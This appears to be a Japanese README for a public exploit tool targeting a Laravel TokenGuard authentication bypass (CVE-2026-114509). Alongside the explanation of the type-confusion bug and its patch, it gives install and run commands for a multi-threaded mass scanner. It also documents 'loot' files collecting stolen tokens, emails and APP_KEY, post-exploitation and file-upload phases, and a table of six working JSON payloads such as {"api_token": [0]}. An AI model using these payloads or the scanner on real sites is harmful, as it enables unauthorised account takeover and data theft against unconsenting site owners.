
Laravel TokenGuard における非文字列の API 認証情報を介した認証バイパス
非文字列のAPI認証情報によるLaravel TokenGuard認証バイパス
Laravel Framework — TokenGuard APIガードにおける未認証の認証バイパス
CVE-2026-114509 は、Laravel Frameworkに組み込まれている TokenGuard における 重大な認証バイパス 脆弱性です。
MySQL または MariaDB 上で標準的なトークンベースのAPIガードを構成している場合、未認証の攻撃者が 細工された非文字列の認証情報(JSON配列)を送信すると、認証ルックアップが 意図しない既存ユーザー に一致してしまい、有効なAPIトークンを一切知らなくても 完全なアクセス権が付与されます。
これにより、影響を受けるガードで保護されたあらゆるルートにおいて 完全なアカウント乗っ取り が可能になります。
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-114509 |
| GHSA | GHSA-f9x3-7vq9-cph6 |
| 影響を受けるソフトウェア | Laravel Framework (laravel/framework) |
| 影響を受けるバージョン | < 12.68.0 および >= 13.0.0, < 13.29.0 |
| 種類 | 認証バイパス |
| CWE | CWE-287 — 不適切な認証 |
| CWE | CWE-1287 — 指定された入力型の不適切な検証 |
| CVSS 4.0スコア | 9.2 / 10 — 重大 |
| CVSSベクター | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| 認証 | 不要(Pre-Auth) |
| 条件 | MySQL / MariaDBバックエンド |
| パッチ | v12.68.0 / v13.29.0 |
| 指標 | 値 | 意味 |
|---|---|---|
| 攻撃ベクター | ネットワーク | インターネット経由でリモートから悪用可能 |
| 攻撃の複雑さ | 低 | MySQL/MariaDB以外に特別な条件は不要 |
| 攻撃要件 | あり | MySQL/MariaDBの型変換動作が必要 |
| 必要な権限 | なし | 認証は不要 |
| ユーザー操作 | なし | 被害者の操作は不要 |
| 機密性 | 高 | 認証済みユーザーデータへの完全な読み取りアクセス |
| 完全性 | 高 | バイパスされたユーザーとしてデータを変更可能 |
| 可用性 | 高 | アカウント乗っ取りによりサービスを妨害可能 |
これは、HTTPリクエストの解析、PHPフレームワークのロジック、およびSQLデータベースの動作の境界における 型混同 のバグです。3つのありふれた動作が組み合わさってこの脆弱性を生み出します。
TokenGuardが非文字列入力を受け入れる — TokenGuard.php の user() メソッドは、is_string($token) && !empty($token) ではなく !empty($token) を使用しています。JSONリクエストボディでは、トークン値として配列や整数を指定できます。
EloquentUserProviderがWHERE INクエリを構築する — retrieveByCredentials() が配列値を受け取ると、WHERE api_token = ... ではなく WHERE api_token IN (...) を生成します。
MySQLの型変換 — MySQLは比較のために文字列カラムを数値に変換します。整数 0 は、数字で始まらない あらゆる 文字列(ほとんどのAPIトークンが該当)に一致します。これはMySQLがそれらの文字列を 0.0 にキャストするためです。
JSON Body: {"api_token": [0]}
│
▼
TokenGuard::user()
→ getTokenForRequest()
→ !empty([0]) === true ← Should reject non-string
│
▼
EloquentUserProvider::retrieveByCredentials()
→ WHERE api_token IN (0) ← Array becomes WHERE IN
│
▼
MySQL Type Coercion
→ 0 == "wAWrHm..." → true ← Int 0 matches any string token
│
▼
first() returns User #1
→ check() === true
→ Authentication Bypassed ✓
┌──────────────────────────┐
│ Attacker (No Creds) │
└────────────┬─────────────┘
│
│ POST /api/user
│ Content-Type: application/json
│ {"api_token": [0]}
▼
┌──────────────────────────┐
│ Laravel Application │
│ │
│ TokenGuard::user() │
│ ↓ !empty([0]) = true │
│ retrieveByCredentials() │
│ ↓ WHERE IN (0) │
│ MySQL coercion │
│ ↓ 0 matches strings │
│ Returns first user │
│ ↓ Authenticated ✓ │
│ │
└────────────┬─────────────┘
│
│ 200 OK
│ {"id":1, "name":"Admin",
│ "email":"[email protected]",
│ "api_token":"wAWrHm..."}
▼
┌──────────────────────────┐
│ Full Account Takeover │
│ • User data exposed │
│ • API token leaked │
│ • Admin access possible │
└──────────────────────────┘
Laravel は TokenGuard.php に型チェックを追加することで修正しました — トークンが文字列でない場合、ガードは即座に null を返し、ユーザープロバイダーを呼び出すことはありません:
// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }
// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }
git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich
このツールは マススキャン と 単一ターゲット の詳細プローブという2つのモードをサポートしています。
ターゲットのリストをスキャンして脆弱性を検出します:
python CVE-2026-114509.py scan targets.txt
オプション:
python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
| フラグ | デフォルト | 説明 |
|---|---|---|
targets | (必須) | ターゲットURLを記載したファイル(1行に1つ) |
--threads | 60 | 同時実行スレッド数 |
--timeout | 12 | リクエストのタイムアウト(秒) |
ターゲットファイルの形式 (targets.txt):
https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com
スキームのないターゲットはデフォルトで
https://になります。
出力ファイル(スクリプトディレクトリに作成されます):
| ファイル | 内容 |
|---|---|
LV_DETECTED.txt | 検出されたすべての Laravel アプリケーション |
LV_BYPASS.txt | 確認された認証バイパス |
LV_UPLOAD.txt | アップロード試行の結果 |
LV_LOOT.txt | 抽出されたデータ(トークン、メールアドレス、APP_KEY、ユーザーデータ) |
詳細出力を有効にして単一のターゲットを詳細にプローブします:
python CVE-2026-114509.py single https://target.com
オプション:
python CVE-2026-114509.py single https://target.com --timeout 15
これは4つのフェーズすべてを詳細な出力とともに順番に実行します:
Phase 1: Laravel Detection...
+ laravel_session
+ XSRF-TOKEN
+ api:401
Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
SUCCESS /api/user [POST] [api_token=[0]]
id: 1
name: Admin
email: [email protected]
api_token: wAWrHmHkVV...
Phase 3: Post-Exploitation...
users-list /api/users -> count=15
panel:nova /nova/api/dashboards
Phase 4: File Upload (52 routes)...
Summary:
Laravel: Yes (3 signals)
Bypass: Yes
Upload: 0 attempts, 0 verified
このツールは 4フェーズのチェーン を実行します:
| フェーズ | 説明 | 詳細 |
|---|---|---|
| フェーズ 1 | 🔍 Laravel 検出 | Cookie フィンガープリンティング、.env の露出、API エンドポイントのプロービング、デバッグツール |
| フェーズ 2 | 🔓 認証バイパス | 14 の API ルート × 3 のトークンキー × 6 のペイロード = ターゲットごとに 252 通りの組み合わせ |
| フェーズ 3 | 📡 ポストエクスプロイト | ユーザー一覧取得、権限昇格、トークン抽出、管理パネルの探索 |
| フェーズ 4 | 📤 ファイルアップロード | マルチパートアップロード、アバター更新、JSON base64、ストレージ PUT、Livewire、署名付き URL |
| ペイロード | ラベル | メカニズム |
|---|---|---|
{"api_token": [0]} | [0] | 配列 → WHERE IN (0) → MySQL の型変換によりすべての文字列トークンが一致 |
{"api_token": [0, ""]} | [0,''] | より広範な一致 — 空トークンのエッジケースをカバー |
{"api_token": 0} | int:0 | 生の整数 — 一部の設定 |
{"api_token": [null]} | [null] | 配列内の null |
{"api_token": [false]} | [false] | ブール値 false のキャスト |
{"api_token": true} | bool:true | ブール値 true — WHERE api_token = 1 に一致 |